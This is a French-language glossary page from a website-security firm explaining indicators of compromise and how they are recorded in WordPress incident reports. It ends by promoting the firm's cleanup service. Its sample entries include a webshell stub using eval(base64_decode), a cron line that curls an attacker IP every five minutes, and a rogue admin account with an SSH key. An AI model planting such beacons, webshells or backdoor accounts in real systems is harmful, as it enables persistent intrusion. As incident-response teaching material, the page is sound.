Prise en charge en cours Lun–Ven · 9h–19h
Signaler un incident
P.02 P.05

IOC (Indicator of Compromise) : ce qu'on documente dans un rapport d'incident

IOC (Indicator of Compromise) : ce qu'on documente dans un rapport d'incident

Après une intrusion, les questions pratiques sont simples : qu'est-ce qui a été touché, par qui, depuis combien de temps, et comment. Les réponses s'appuient sur des traces concrètes laissées par l'attaquant : des fichiers, des adresses IP, des entrées de base de données, des tâches planifiées. Ces traces s'appellent des IOC. Les documenter, c'est permettre à votre équipe IT de boucher les trous restants, et à vous de savoir quelles données ont pu être exposées.

Définition en une phrase

Un IOC (Indicator of Compromise, indicateur de compromission) est tout artefact observable sur un système ou un réseau qui témoigne d'une activité malveillante : fichier suspect, adresse IP sortante anormale, entrée de registre ou de base de données modifiée, compte système non autorisé.

En clair, pour les non-initiés. Après un cambriolage, la police relève les empreintes, les traces de pas, les objets déplacés. Les IOC sont l'équivalent numérique : fichiers que l'attaquant a laissés, adresses IP depuis lesquelles il s'est connecté, comptes qu'il a créés, modifications qu'il a faites. Documenter ces traces permet de savoir avec précision ce qui s'est passé et de s'assurer qu'aucune porte de sortie n'a été oubliée.

Pourquoi les IOC sont importants dans un rapport d'incident

Un nettoyage de site compromis sans documentation des IOC ressemble à une opération de chirurgie sans compte rendu opératoire. L'intervention a eu lieu, mais personne ne sait exactement ce qui a été trouvé, ce qui a été retiré, et ce qui reste à faire.

Les IOC documentés permettent :

  • Confirmer l'étendue de l'intrusion. Quelles pages ont été affectées, quels fichiers modifiés, quelle plage horaire couvre l'accès non autorisé.
  • Évaluer le risque de fuite de données. Un IOC de type "requête SELECT * sur la table clients" dans les logs MySQL est une information nécessaire pour décider d'une notification RGPD.
  • Alimenter les défenses. Les IPs des attaquants, les User-Agents utilisés, les patterns de fichiers deviennent des règles Cloudflare ou des entrées fail2ban.
  • Crédibiliser le rapport. Un rapport d'incident avec une liste précise d'IOC est un document technique sérieux, utile face à votre assurance cyber ou votre hébergeur.

La liste-type d'IOC qu'on relève en intervention

Fichiers suspects

Type : Webshell / Backdoor
Chemin : /var/www/html/wp-content/uploads/2024/02/update.php
Hash MD5 : a4c8e72b1d9f3e20c7b5a1d8f2e4c6b0
Date de création : 2024-02-14 03:17:22 UTC
Contenu : eval(base64_decode([payload]))
Vecteur probable : upload non restreint via plugin Contact Form 7 v5.7.1 (CVE-2023-XXXXX)

Pour chaque fichier malveillant trouvé : chemin complet, hash cryptographique (MD5 ou SHA-256), date de création/modification, nature du payload, vecteur d'entrée probable.

Adresses IP des attaquants

IP : 45.155.205.233 (AS48693, Retelit, Italie)
Activité : 847 requêtes POST vers /xmlrpc.php entre 2024-02-13 22:00 et 23:45 UTC
IP : 185.220.101.45 (AS209650, exit Tor)
Activité : Exécution de commandes via webshell le 2024-02-14 03:20 UTC

Les IPs sont localisées (country, ASN, opérateur) et associées à l'activité observée dans les logs. Certaines IPs connues (noeuds Tor, datacenters spécialisés) sont des IOC en elles-mêmes.

Modifications de la base de données

Table : wp_users
Modification : création d'un compte admin "wp_maintenance" (ID 47) le 2024-02-14 03:22 UTC
Email : noreply@update-service[.]net (domaine frauduleux)
Table : wp_options
Modification : option "auth_key" modifiée le 2024-02-14 03:23 UTC

Les intrusions sur WordPress laissent souvent des traces en base de données : comptes admin créés discrètement, clés d'authentification changées, plugins ajoutés à la liste active sans passer par le filesystem.

Tâches cron suspectes

# crontab -l -u www-data (sortie)
*/5 * * * * curl -s http://45.155.205.233/beacon.php > /dev/null 2>&1
# Ajouté le 2024-02-14 03:25 UTC

Une tâche cron qui appelle une URL externe toutes les 5 minutes est un signe classique de persistance : le serveur "appelle à la maison" régulièrement pour signaler qu'il est toujours accessible. On vérifie les crontabs de tous les utilisateurs système.

Utilisateurs orphelins ou suspects

Utilisateur système : ftpuser_tmp2 (UID 1003)
Créé le : 2024-02-14 03:19 UTC
Shell : /bin/bash
Répertoire home : /var/www/html
Clés SSH autorisées : 1 clé non reconnue dans /home/ftpuser_tmp2/.ssh/authorized_keys

Un utilisateur créé lors d'une intrusion avec une clé SSH permet à l'attaquant de maintenir l'accès même si le webshell est supprimé. On liste et vérifie tous les comptes système créés récemment.

Connexions sortantes anormales

IP sortante : 45.155.205.233 (même IP que les requêtes entrantes)
Port : 4444 (Metasploit reverse shell port par défaut)
Heure : 2024-02-14 03:20 UTC
Durée : 8 minutes

Les logs du firewall ou de Cloudflare montrent les connexions sortantes initiées depuis le serveur. Une connexion sortante vers une IP externe sur un port non standard pendant la période d'intrusion est un IOC critique : elle indique une commande à distance active.

Modifications de fichiers core

Fichier : /var/www/html/wp-includes/class-wp-hook.php
Hash attendu (WordPress 6.4.2) : b7e3a9c2d4f8...
Hash observé : 9f2c4a8d1e3b...
Modification : 14 lignes ajoutées en début de fichier (payload PHP obfusqué)

La comparaison des fichiers core WordPress avec les hachages de la distribution officielle révèle les modifications non autorisées.

Comment Secushot documente les IOC dans un rapport d'incident

Chaque rapport P.02 et P.05 inclut une section IOC structurée avec :

Résumé exécutif : 1 page. Date probable de l'intrusion initiale, vecteur d'entrée identifié, actions de l'attaquant reconstituées dans l'ordre chronologique, données potentiellement accédées.

Liste complète des IOC : tableaux par catégorie (fichiers, IPs, comptes, crons, modifications DB). Chaque IOC a un identifiant unique pour pouvoir être référencé dans les échanges avec votre hébergeur ou votre assureur.

Indicateurs de persistance : IOC qui permettaient à l'attaquant de maintenir l'accès après nettoyage, et confirmation de leur suppression.

Recommandations post-incident : actions à prendre après notre intervention (montée de version, changement de credentials, activation du 2FA, durcissement complémentaire).

Statut de chaque IOC : "retiré", "neutralisé" ou "non traitable" (avec explication dans ce dernier cas).

Les erreurs qu'on rencontre le plus souvent

1. Documenter uniquement ce qui a été retiré, pas ce qui a été trouvé

Un rapport qui liste "webshell supprimé" sans hash du fichier, sans chemin précis, sans date de création ne permet pas de savoir si un autre webshell similaire est encore présent. La précision des IOC est la valeur du rapport.

2. Ne pas vérifier les comptes système après nettoyage

Les webshells et backdoors attirent l'attention. Les comptes système créés discrètement avec clés SSH passent souvent inaperçus. On vérifie cat /etc/passwd, l'historique de useradd, et les authorized_keys de tous les comptes.

3. Ignorer les IOC réseau

Les fichiers malveillants sur le serveur sont les IOC les plus visibles. Les connexions sortantes et les IP des attaquants dans les logs sont des IOC tout aussi importants pour comprendre si une exfiltration de données a eu lieu.

4. Nettoyer sans horodater les IOC

Pour évaluer si des données personnelles ont pu être exposées (obligation RGPD), il faut savoir quand l'intrusion a commencé. Un IOC sans timestamp est une information incomplète pour l'évaluation du risque.

Questions fréquentes

IOC et CVE : quelle différence ? Une CVE est une vulnérabilité documentée dans un logiciel. Un IOC est une trace d'exploitation. La CVE décrit le problème potentiel. L'IOC prouve qu'il a été exploité sur votre système. Sur un même incident, on peut identifier la CVE qui a servi de vecteur d'entrée et les IOC laissés après l'exploitation.

Faut-il transmettre les IOC à qui ? À votre hébergeur (pour qu'il confirme ou infirme l'origine réseau), à votre équipe IT (pour qu'ils implémentent les contre-mesures complémentaires), à votre assureur cyber si vous avez une déclaration de sinistre, et à la CNIL si une fuite de données personnelles est confirmée.

Les IOC servent-ils à poursuivre l'attaquant ? Rarement en pratique sur des attaques contre des PME françaises. Les attaquants opèrent derrière des proxies, des VPN ou des noeuds Tor. Les IOC documentés permettent de déposer plainte avec des éléments factuels, mais la localisation de l'attaquant réel est hors de portée dans la grande majorité des cas.

Un rapport P.02 inclut-il toujours des IOC ? Oui. Le rapport d'incident P.02 inclut systématiquement la section IOC selon le modèle décrit ci-dessus. La précision dépend des logs disponibles et de l'ancienneté de la compromission : plus l'intrusion est ancienne, plus les logs de rotation ont effacé des traces.

Les IOC de mon incident sont-ils partagés avec d'autres clients Secushot ? Non. Vos IOC sont des données confidentielles liées à votre infrastructure. Ils ne sont ni partagés ni agrégés dans une base commune.

Pour aller plus loin

Incident de sécurité sur votre site et besoin d'un rapport forensique structuré ? Notre nettoyage post-attaque (P.02, 1 290 € TTC, SLA 24 h) produit un rapport PDF avec liste complète des IOC, chronologie de l'intrusion, et recommandations post-incident. Briefer une intervention P.02

Dernière mise à jour · 22 avril 2026 ← Retour au lexique